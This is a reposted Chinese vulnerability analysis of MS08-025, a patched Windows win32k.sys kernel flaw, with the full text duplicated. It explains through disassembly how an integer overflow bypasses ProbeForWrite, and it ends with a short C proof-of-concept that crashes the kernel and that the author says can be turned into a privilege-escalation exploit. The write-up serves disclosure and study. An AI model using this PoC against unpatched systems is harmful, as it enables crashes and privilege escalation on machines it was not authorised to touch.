Windows 内核漏洞 ms08025 分析
程序员文章站
2022-03-29 11:06:30
Windows 内核漏洞 ms08025 分析
Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2008-04-10
经... 08-10-08...
windows 内核漏洞 ms08025 分析
author: polymorphours
email: polymorphours@whitecell.org
homepage:http://www.whitecell.org
date: 2008-04-10 经内部讨论后决定公布分析成果。 4月8号microsoft再次发布了一个系统内核的补丁(kb941693),
微软对该漏洞的描述为: 此安全更新解决 windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 windows 2000、windows xp、windows server 2003、
windows vista 和 windows server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。 从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 probeforwrite
函数对用户层传来的指针的检查,下面我们就从 ntuserfnoutstring
函数中的问题来展开我们的分析(我分析的平台是winxp sp2) .text:bf86fb04 ; int __stdcall ntuserfnoutstring(int,int,int,pvoid address,int,int,int)
.text:bf86fb04 __stdcall ntuserfnoutstring(x, x, x, x, x, x, x) proc near
.text:bf86fb04 ; code xref: xxxdefwindowproc(x,x,x,x) 6ep
.text:bf86fb04 ; ntusermessagecall(x,x,x,x,x,x,x) 61p
.text:bf86fb04 ; xxxsendmessagetoclient(x,x,x,x,x,x,x)-ep
.text:bf86fb04 ; xxxsendmessagetoclient(x,x,x,x,x,x,x) 6dp
.text:bf86fb04 ; xxxwrapcallwindowproc(x,x,x,x,x)-4bp
.text:bf86fb04 ; xxxwrapcallwindowproc(x,x,x,x,x) 60p ...
.text:bf86fb04
.text:bf86fb04 var_24 = dword ptr -24h
.text:bf86fb04 var_20 = dword ptr -20h
.text:bf86fb04 userbuffer = dword ptr -1ch
.text:bf86fb04 ms_exc = cppeh_record ptr -18h
.text:bf86fb04 arg_0 = dword ptr 8
.text:bf86fb04 arg_4 = dword ptr 0ch
.text:bf86fb04 arg_8 = dword ptr 10h
.text:bf86fb04 address = dword ptr 14h
.text:bf86fb04 arg_10 = dword ptr 18h
.text:bf86fb04 arg_14 = dword ptr 1ch
.text:bf86fb04 arg_18 = dword ptr 20h
.text:bf86fb04
.text:bf86fb04 ; function chunk at .text:bf86fae1 size 0000001e bytes .text:bf86fb04
.text:bf86fb04 push 14h
.text:bf86fb06 push offset unk_bf98d250
.text:bf86fb0b call __seh_prolog
.text:bf86fb0b
.text:bf86fb10 xor edx, edx
.text:bf86fb12 mov [ebp ms_exc.disabled], edx
.text:bf86fb15 mov eax, [ebp var_20]
.text:bf86fb18 mov ecx, 7fffffffh
.text:bf86fb1d and eax, ecx
.text:bf86fb1f mov esi, [ebp arg_18]
.text:bf86fb22 shl esi, 1fh
.text:bf86fb25 or eax, esi
.text:bf86fb27 mov [ebp var_20], eax
.text:bf86fb2a mov esi, eax
.text:bf86fb2c xor esi, [ebp arg_8] -> esi = 缓冲区长度
.text:bf86fb2f and esi, ecx
.text:bf86fb31 xor eax, esi
.text:bf86fb33 mov [ebp var_20], eax
.text:bf86fb36 cmp [ebp arg_18], edx -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:bf86fb39 jnz short loc_bf86fb47
.text:bf86fb39
.text:bf86fb3b lea esi, [eax eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:bf86fb3e xor esi, eax
.text:bf86fb40 and esi, ecx
.text:bf86fb42 xor eax, esi
.text:bf86fb44 mov [ebp var_20], eax -> 保存unicode占用的空间大小
.text:bf86fb44
.text:bf86fb47
.text:bf86fb47 loc_bf86fb47: ; code xref: ntuserfnoutstring(x,x,x,x,x,x,x) 35j
.text:bf86fb47 mov [ebp var_24], edx
.text:bf86fb4a mov esi, [ebp address]
.text:bf86fb4d mov [ebp userbuffer], esi
.text:bf86fb50 xor ebx, ebx
.text:bf86fb52 inc ebx
.text:bf86fb53 push ebx ; alignment
.text:bf86fb54 and eax, ecx
.text:bf86fb56 push eax ; length <- 由于 eax = 0,所以probeforwrite被绕过
.text:bf86fb57 push esi ; address
.text:bf86fb58 call ds:probeforwrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxrealdefwindowproc 0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp 0x10],eax
bf80a1ba ebf1 jmp win32k!xxxrealdefwindowproc 0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp 0x14]
bf80a1bf f6400780 test byte ptr [eax 0x7],0x80
bf80a1c3 8b4008 mov eax,[eax 0x8]
bf80a1c6 7408 jz win32k!xxxrealdefwindowproc 0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi 0x38]
bf80a1df e8d1690200 call win32k!buildhwndlist (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi 0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!ntusermessagecall,
发现触发这个漏洞很简单,只需要调用 sendmessagew 发送wm_gettext 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit) #include <stdio.h>
#include <windows.h> int main(int argc,char *argv[])
{
dword dwhookaddress = 0x80000000; printf( "\tms08-025 local privilege escalation vulnerability exploit(poc)\n\n" );
printf( "create by whitecell’s polymorphours@whitecell.org 2008/04/10\n" ); sendmessagew( getdesktopwindow(), wm_gettext, 0x80000000, dwhookaddress );
return 0;
} wss(whitecell security systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
email: polymorphours@whitecell.org
homepage:http://www.whitecell.org
date: 2008-04-10 经内部讨论后决定公布分析成果。 4月8号microsoft再次发布了一个系统内核的补丁(kb941693),
微软对该漏洞的描述为: 此安全更新解决 windows 内核中一个秘密
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的
系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建
新帐户。这是用于 windows 2000、windows xp、windows server 2003、
windows vista 和 windows server 2008 所有受支持版本的重要安全
更新。此安全更新通过修改 windows 内核验证从用户模式传递过来的
输入的方式来解决此漏洞。 从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了
能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其
中出问题的地方非常有趣,是因为溢出寄存器来绕过 probeforwrite
函数对用户层传来的指针的检查,下面我们就从 ntuserfnoutstring
函数中的问题来展开我们的分析(我分析的平台是winxp sp2) .text:bf86fb04 ; int __stdcall ntuserfnoutstring(int,int,int,pvoid address,int,int,int)
.text:bf86fb04 __stdcall ntuserfnoutstring(x, x, x, x, x, x, x) proc near
.text:bf86fb04 ; code xref: xxxdefwindowproc(x,x,x,x) 6ep
.text:bf86fb04 ; ntusermessagecall(x,x,x,x,x,x,x) 61p
.text:bf86fb04 ; xxxsendmessagetoclient(x,x,x,x,x,x,x)-ep
.text:bf86fb04 ; xxxsendmessagetoclient(x,x,x,x,x,x,x) 6dp
.text:bf86fb04 ; xxxwrapcallwindowproc(x,x,x,x,x)-4bp
.text:bf86fb04 ; xxxwrapcallwindowproc(x,x,x,x,x) 60p ...
.text:bf86fb04
.text:bf86fb04 var_24 = dword ptr -24h
.text:bf86fb04 var_20 = dword ptr -20h
.text:bf86fb04 userbuffer = dword ptr -1ch
.text:bf86fb04 ms_exc = cppeh_record ptr -18h
.text:bf86fb04 arg_0 = dword ptr 8
.text:bf86fb04 arg_4 = dword ptr 0ch
.text:bf86fb04 arg_8 = dword ptr 10h
.text:bf86fb04 address = dword ptr 14h
.text:bf86fb04 arg_10 = dword ptr 18h
.text:bf86fb04 arg_14 = dword ptr 1ch
.text:bf86fb04 arg_18 = dword ptr 20h
.text:bf86fb04
.text:bf86fb04 ; function chunk at .text:bf86fae1 size 0000001e bytes .text:bf86fb04
.text:bf86fb04 push 14h
.text:bf86fb06 push offset unk_bf98d250
.text:bf86fb0b call __seh_prolog
.text:bf86fb0b
.text:bf86fb10 xor edx, edx
.text:bf86fb12 mov [ebp ms_exc.disabled], edx
.text:bf86fb15 mov eax, [ebp var_20]
.text:bf86fb18 mov ecx, 7fffffffh
.text:bf86fb1d and eax, ecx
.text:bf86fb1f mov esi, [ebp arg_18]
.text:bf86fb22 shl esi, 1fh
.text:bf86fb25 or eax, esi
.text:bf86fb27 mov [ebp var_20], eax
.text:bf86fb2a mov esi, eax
.text:bf86fb2c xor esi, [ebp arg_8] -> esi = 缓冲区长度
.text:bf86fb2f and esi, ecx
.text:bf86fb31 xor eax, esi
.text:bf86fb33 mov [ebp var_20], eax
.text:bf86fb36 cmp [ebp arg_18], edx -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:bf86fb39 jnz short loc_bf86fb47
.text:bf86fb39
.text:bf86fb3b lea esi, [eax eax] <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
<- 当 eax = 0x80000000 的时候 eax eax = 0x100000000,32位的寄存器
<- 被溢出了,esi = 0
.text:bf86fb3e xor esi, eax
.text:bf86fb40 and esi, ecx
.text:bf86fb42 xor eax, esi
.text:bf86fb44 mov [ebp var_20], eax -> 保存unicode占用的空间大小
.text:bf86fb44
.text:bf86fb47
.text:bf86fb47 loc_bf86fb47: ; code xref: ntuserfnoutstring(x,x,x,x,x,x,x) 35j
.text:bf86fb47 mov [ebp var_24], edx
.text:bf86fb4a mov esi, [ebp address]
.text:bf86fb4d mov [ebp userbuffer], esi
.text:bf86fb50 xor ebx, ebx
.text:bf86fb52 inc ebx
.text:bf86fb53 push ebx ; alignment
.text:bf86fb54 and eax, ecx
.text:bf86fb56 push eax ; length <- 由于 eax = 0,所以probeforwrite被绕过
.text:bf86fb57 push esi ; address
.text:bf86fb58 call ds:probeforwrite(x,x,x)
bf80a1b0 e96ef4ffff jmp win32k!xxxrealdefwindowproc 0x1235 (bf809623)
bf80a1b5 d1e8 shr eax,1
bf80a1b7 894510 mov [ebp 0x10],eax
bf80a1ba ebf1 jmp win32k!xxxrealdefwindowproc 0x190 (bf80a1ad)
bf80a1bc 8b4514 mov eax,[ebp 0x14]
bf80a1bf f6400780 test byte ptr [eax 0x7],0x80
bf80a1c3 8b4008 mov eax,[eax 0x8]
bf80a1c6 7408 jz win32k!xxxrealdefwindowproc 0x105 (bf80a1d0)
bf80a1c8 c60000 mov byte ptr [eax],0x0
bf80a1cb e951f4ffff jmp win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1d0 668910 mov [eax],dx <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff jmp win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1d8 6a00 push 0x0
bf80a1da 6a02 push 0x2
bf80a1dc ff7638 push dword ptr [esi 0x38]
bf80a1df e8d1690200 call win32k!buildhwndlist (bf830bb5)
bf80a1e4 8bf8 mov edi,eax
bf80a1e6 85ff test edi,edi
bf80a1e8 0f8433f4ffff je win32k!xxxrealdefwindowproc 0x1225 (bf809621)
bf80a1ee 8d7710 lea esi,[edi 0x10]
那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!ntusermessagecall,
发现触发这个漏洞很简单,只需要调用 sendmessagew 发送wm_gettext 消息就能够触发了,
下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可
用的exploit,可以参考我以前的exploit) #include <stdio.h>
#include <windows.h> int main(int argc,char *argv[])
{
dword dwhookaddress = 0x80000000; printf( "\tms08-025 local privilege escalation vulnerability exploit(poc)\n\n" );
printf( "create by whitecell’s polymorphours@whitecell.org 2008/04/10\n" ); sendmessagew( getdesktopwindow(), wm_gettext, 0x80000000, dwhookaddress );
return 0;
} wss(whitecell security systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
上一篇: 大众点评网站的支付系统构建经验分享
下一篇: MAYA怎么进行人物UV拆分?
推荐阅读
-
Windows XP系统内核文件分析
-
WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞
-
Windows 内核漏洞 ms08025 分析
-
Windows Vista中IE漏洞击穿系统分析
-
Windows应急响应和系统加固(11)——Weblogic各类漏洞的日志分析和调查取证
-
Windows应急响应和系统加固(6)——Windows历年高危漏洞介绍和分析
-
Windows XP系统内核文件分析
-
WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞
-
Windows 内核漏洞 ms08025 分析
-
Windows Vista中IE漏洞击穿系统分析